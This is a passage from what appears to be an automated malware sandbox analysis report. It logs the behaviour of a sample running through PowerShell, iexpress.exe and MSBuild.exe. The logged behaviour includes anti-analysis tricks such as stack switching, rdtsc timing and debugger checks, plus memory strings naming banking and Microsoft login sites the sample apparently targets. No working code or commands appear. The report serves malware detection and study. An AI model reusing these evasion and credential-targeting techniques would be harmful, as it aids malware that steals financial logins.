Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\iexpress.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\iexpress.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\iexpress.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\iexpress.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\iexpress.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Switches to a custom stack to bypass stack traces

Source: C:\Windows\SysWOW64\iexpress.exe	API/Special instruction interceptor: Address: 7FF9B762D324
Source: C:\Windows\SysWOW64\iexpress.exe	API/Special instruction interceptor: Address: 7FF9B762D7E4
Source: C:\Windows\SysWOW64\iexpress.exe	API/Special instruction interceptor: Address: 7FF9B762D944
Source: C:\Windows\SysWOW64\iexpress.exe	API/Special instruction interceptor: Address: 7FF9B762D504
Source: C:\Windows\SysWOW64\iexpress.exe	API/Special instruction interceptor: Address: 7FF9B762D544
Source: C:\Windows\SysWOW64\iexpress.exe	API/Special instruction interceptor: Address: 7FF9B762D1E4
Source: C:\Windows\SysWOW64\iexpress.exe	API/Special instruction interceptor: Address: 7FF9B7630154
Source: C:\Windows\SysWOW64\iexpress.exe	API/Special instruction interceptor: Address: 7FF9B762DA44

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Code function: 10_2_01ABD1C0 rdtsc

10_2_01ABD1C0

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1354	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1670	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3802	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5990	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3819	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4590	Jump to behavior
Source: C:\Windows\SysWOW64\iexpress.exe	Window / User API: threadDelayed 1048	Jump to behavior
Source: C:\Windows\SysWOW64\iexpress.exe	Window / User API: threadDelayed 8925	Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	API coverage: 0.8 %
Source: C:\Windows\SysWOW64\iexpress.exe	API coverage: 3.2 %

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7888	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7964	Thread sleep count: 3802 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7968	Thread sleep count: 5990 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7996	Thread sleep time: -13835058055282155s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8088	Thread sleep count: 3819 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8088	Thread sleep count: 4590 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8128	Thread sleep time: -19369081277395017s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8068	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8112	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\iexpress.exe TID: 5812	Thread sleep count: 1048 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\iexpress.exe TID: 5812	Thread sleep time: -2096000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\iexpress.exe TID: 5812	Thread sleep count: 8925 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\iexpress.exe TID: 5812	Thread sleep time: -17850000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 5816	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\WCAmvWxrBbedEHpgwvyxrWSwxzilbIAZzxjKyndXhU\DmMVOWsP1JSI77P.exe TID: 7728	Thread sleep time: -40000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\SysWOW64\iexpress.exe	Last function: Thread delayed
Source: C:\Windows\SysWOW64\iexpress.exe	Last function: Thread delayed

Source: C:\Windows\SysWOW64\iexpress.exe

Code function: 12_2_02EDC9A0 FindFirstFileW,FindNextFileW,FindClose,

12_2_02EDC9A0

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: 5z722a.12.dr	Binary or memory string: ms.portal.azure.comVMware20,11696494690
Source: 5z722a.12.dr	Binary or memory string: discord.comVMware20,11696494690f
Source: iexpress.exe, 0000000C.00000002.2234210512.000000000800F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: ive Brokers - GDCDYNVMware20,11696494690p
Source: 5z722a.12.dr	Binary or memory string: AMC password management pageVMware20,11696494690
Source: 5z722a.12.dr	Binary or memory string: outlook.office.comVMware20,11696494690s
Source: 5z722a.12.dr	Binary or memory string: Interactive Brokers - EU WestVMware20,11696494690n
Source: 5z722a.12.dr	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696494690p
Source: 5z722a.12.dr	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696494690
Source: svchost.exe, 0000000D.00000002.2230591207.0000017B01A2B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWp
Source: 5z722a.12.dr	Binary or memory string: interactivebrokers.comVMware20,11696494690
Source: 5z722a.12.dr	Binary or memory string: netportal.hdfcbank.comVMware20,11696494690
Source: 5z722a.12.dr	Binary or memory string: interactivebrokers.co.inVMware20,11696494690d
Source: 5z722a.12.dr	Binary or memory string: account.microsoft.com/profileVMware20,11696494690u
Source: 5z722a.12.dr	Binary or memory string: outlook.office365.comVMware20,11696494690t
Source: svchost.exe, 0000000D.00000002.2235238818.0000017B07058000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: iexpress.exe, 0000000C.00000002.2234210512.000000000800F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: microsoft.visualstudio.comVMware20,116
Source: 5z722a.12.dr	Binary or memory string: www.interactivebrokers.comVMware20,11696494690}
Source: powershell.exe, 00000007.00000002.1185379054.000002357C790000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW1.%SystemRoot%\system32\mswsock.dlltem32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cats\|5
Source: 5z722a.12.dr	Binary or memory string: microsoft.visualstudio.comVMware20,11696494690x
Source: 5z722a.12.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696494690^
Source: 5z722a.12.dr	Binary or memory string: Test URL for global passwords blocklistVMware20,11696494690
Source: powershell.exe, 00000008.00000002.1108214345.0000015DA88A5000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.1567529480.000001851E9DC000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: 5z722a.12.dr	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696494690z
Source: 5z722a.12.dr	Binary or memory string: trackpan.utiitsl.comVMware20,11696494690h
Source: 5z722a.12.dr	Binary or memory string: tasks.office.comVMware20,11696494690o
Source: iexpress.exe, 0000000C.00000002.2234210512.000000000800F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,1169649469?
Source: iexpress.exe, 0000000C.00000002.2227220889.000000000310A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllj'MY
Source: 5z722a.12.dr	Binary or memory string: www.interactivebrokers.co.inVMware20,11696494690~
Source: iexpress.exe, 0000000C.00000002.2234210512.000000000800F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: secure.bankofamerica.comVMware20,11696-
Source: 5z722a.12.dr	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696494690
Source: 5z722a.12.dr	Binary or memory string: dev.azure.comVMware20,11696494690j
Source: iexpress.exe, 0000000C.00000002.2234210512.000000000800F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: ca.comVMware20,11696494690x
Source: iexpress.exe, 0000000C.00000002.2234210512.000000000800F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: s.office.comVMware20,11696494690o
Source: DmMVOWsP1JSI77P.exe, 00000014.00000002.2229057165.00000000012A9000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllq
Source: 5z722a.12.dr	Binary or memory string: global block list test formVMware20,11696494690
Source: 5z722a.12.dr	Binary or memory string: turbotax.intuit.comVMware20,11696494690t
Source: powershell.exe, 00000008.00000002.1078118141.0000015D902A7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: vmtoolsd
Source: 5z722a.12.dr	Binary or memory string: bankofamerica.comVMware20,11696494690x
Source: 5z722a.12.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696494690}
Source: iexpress.exe, 0000000C.00000002.2234210512.000000000800F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: n PasswordVMware20,11696494690
Source: 5z722a.12.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696494690
Source: 5z722a.12.dr	Binary or memory string: Interactive Brokers - HKVMware20,11696494690]
Source: 5z722a.12.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696494690x
Source: 5z722a.12.dr	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696494690
Source: 5z722a.12.dr	Binary or memory string: secure.bankofamerica.comVMware20,11696494690\|UE

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process queried: DebugPort			Jump to behavior
Source: C:\Windows\SysWOW64\iexpress.exe	Process queried: DebugPort			Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Code function: 10_2_01ABD1C0 rdtsc

10_2_01ABD1C0

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Code function: 10_2_00417BF3 LdrLoadDll,

10_2_00417BF3

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01AF11A4 mov eax, dword ptr fs:[00000030h]	10_2_01AF11A4
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01AF11A4 mov eax, dword ptr fs:[00000030h]	10_2_01AF11A4
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01AF11A4 mov eax, dword ptr fs:[00000030h]	10_2_01AF11A4
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01AF11A4 mov eax, dword ptr fs:[00000030h]	10_2_01AF11A4
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01A5B1B0 mov eax, dword ptr fs:[00000030h]	10_2_01A5B1B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01AFC188 mov eax, dword ptr fs:[00000030h]	10_2_01AFC188
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01AFC188 mov eax, dword ptr fs:[00000030h]	10_2_01AFC188
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01A80185 mov eax, dword ptr fs:[00000030h]	10_2_01A80185
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01AC019F mov eax, dword ptr fs:[00000030h]	10_2_01AC019F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01AC019F mov eax, dword ptr fs:[00000030h]	10_2_01AC019F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01AC019F mov eax, dword ptr fs:[00000030h]	10_2_01AC019F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01AC019F mov eax, dword ptr fs:[00000030h]	10_2_01AC019F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01A3A197 mov eax, dword ptr fs:[00000030h]	10_2_01A3A197
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01A3A197 mov eax, dword ptr fs:[00000030h]	10_2_01A3A197
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01A3A197 mov eax, dword ptr fs:[00000030h]	10_2_01A3A197
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01A97190 mov eax, dword ptr fs:[00000030h]	10_2_01A97190
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01A651EF mov eax, dword ptr fs:[00000030h]	10_2_01A651EF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01A651EF mov eax, dword ptr fs:[00000030h]	10_2_01A651EF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01A651EF mov eax, dword ptr fs:[00000030h]	10_2_01A651EF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01A651EF mov eax, dword ptr fs:[00000030h]	10_2_01A651EF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01A651EF mov eax, dword ptr fs:[00000030h]	10_2_01A651EF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01A651EF mov eax, dword ptr fs:[00000030h]	10_2_01A651EF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01A651EF mov eax, dword ptr fs:[00000030h]	10_2_01A651EF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01A651EF mov eax, dword ptr fs:[00000030h]	10_2_01A651EF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01A651EF mov eax, dword ptr fs:[00000030h]	10_2_01A651EF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01A651EF mov eax, dword ptr fs:[00000030h]	10_2_01A651EF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01A651EF mov eax, dword ptr fs:[00000030h]	10_2_01A651EF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01A651EF mov eax, dword ptr fs:[00000030h]	10_2_01A651EF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01A651EF mov eax, dword ptr fs:[00000030h]	10_2_01A651EF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01A451ED mov eax, dword ptr fs:[00000030h]	10_2_01A451ED
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01B161E5 mov eax, dword ptr fs:[00000030h]	10_2_01B161E5
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01A701F8 mov eax, dword ptr fs:[00000030h]	10_2_01A701F8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01B061C3 mov eax, dword ptr fs:[00000030h]	10_2_01B061C3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01B061C3 mov eax, dword ptr fs:[00000030h]	10_2_01B061C3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01A7D1D0 mov eax, dword ptr fs:[00000030h]	10_2_01A7D1D0
